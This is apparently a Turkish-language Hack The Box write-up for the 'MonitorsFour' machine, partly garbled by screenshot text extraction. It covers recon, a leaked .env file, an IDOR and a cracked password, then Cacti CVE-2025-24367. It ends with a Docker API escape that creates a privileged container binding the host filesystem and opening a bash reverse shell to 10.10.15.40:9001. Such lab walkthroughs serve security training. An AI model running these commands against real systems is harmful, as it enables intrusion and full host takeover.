HTB MONITORSFOUR

Herkese merhaba buglin hackthebox monitorsfour ¢6zimun
yapacagiz.

Oncelikle bir nmap taramasiyla bashyoruz.

Oturum Eylemler Dizen GOrinim Yardim

root@kali: /home/mehmet/Masaiisti W root@kali: /home/mehmet/Masalistil ¥
/home /mehmet /Masaiisti

Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds

/home/mehmet /Masaiistil
/etc/hosts

/home/mehmet /Masaiistil

Bu kisimda oncelikle siteye girmeye calisirken cacti login sayfasi
aciliyor ve o yizden cacti.monitorsfour.htb seklinde sudo nano ile hos
ta ekleme yaptik bu adim énemli.

Buradan acik portlari goriyoruz wsmani unutmuyoruz. Buradan ve
web sitesinden daha fazla bilgi cikmayinca bir dir taramasi atiyoruz ve
.env dizinini gidip tarayiciya aziyoruz bize veri tabani ile alakali bilgiler
veriyor.



nterprise-integrator.txt

/home/mehmet /Masaiisti
dir http://moni 1 Jusr/share/seclists/Discovery/Web-Content/con

sry/Web-Content/com

pnuneration mode

Yardim

O a & n

Web sayfasinda yukarida token parametresi goriiyoruz yenileme
yaparken ve bir idor testi uyguluyoruz.

orums ¥ Kali NetHunter = Exploit-DB = Google Hacking DB




Buradaki sifreyi hemen crackstation dan ¢ozliyoruz ve sifreyi aliyoruz.
Buradan bilgilerimizi aliyoruz Marcus/wonderfull

Bu bilgiler ile sayfaya girince cactinin versiyonunun 1.2.28 oldugunu
goruyoruz ve bunun igin bir zafiyet taramasi yapiyoruz Google dan

Sonucunda CVE-2025-24367 zafiyetimizi bulmus olduk.
Simdi Shell alacagiz.

Exploitimizi ve dinleyicimizi ayarladiktan sonra Shell alip user.txt mizi
aliyoruz.

/home /mehmet/Masaiistii/CVE-2025-24367~Cacti-PoC
exploit.py marcus wonderfull 10.10.15.40 60001

Simdi sirada privilage escalation kismi var artik root olup root.txt yi
alma pesindeyiz. Arastirma sonucu CVE-2025-9074 kullanacagimizi
ogreniyoruz. Once bir dinleyici aciyoruz kalide sonrasinda Shell
aldigimiz kissmda curl -X POST
http://192.168.65.7:2375/containers/create \



-H "Content-Type: application/json" -d '{

"Image": "alpine",

"HostConfig": {

"Binds": ["/:/host"],

"Privileged": true,

"NetworkMode": "host"

7

"Cmd": ["sh","-c","chroot /host /bin/bash -c \"bash -i >&
/dev/tcp/10.10.15.40/9001 0>&1\""]

}' bu kodu calistiriyoruz ve bize bir id veriyor (Benim portum 9001 ve
ip adresim 10.10.15.40 bunlari degismeyi unutmayin.) ve bu id ile ise
curl -X POST http://192.168.65.7:2375/containers/sizin ID/start bu
kodu ¢alistirip dinleyiciden root yetkisini aliyoruz.

En sonunda dogru yolla root.txt yi de elimize aliyoruz.



http://192.168.65.7:2375/containers/sizin%20ID/start
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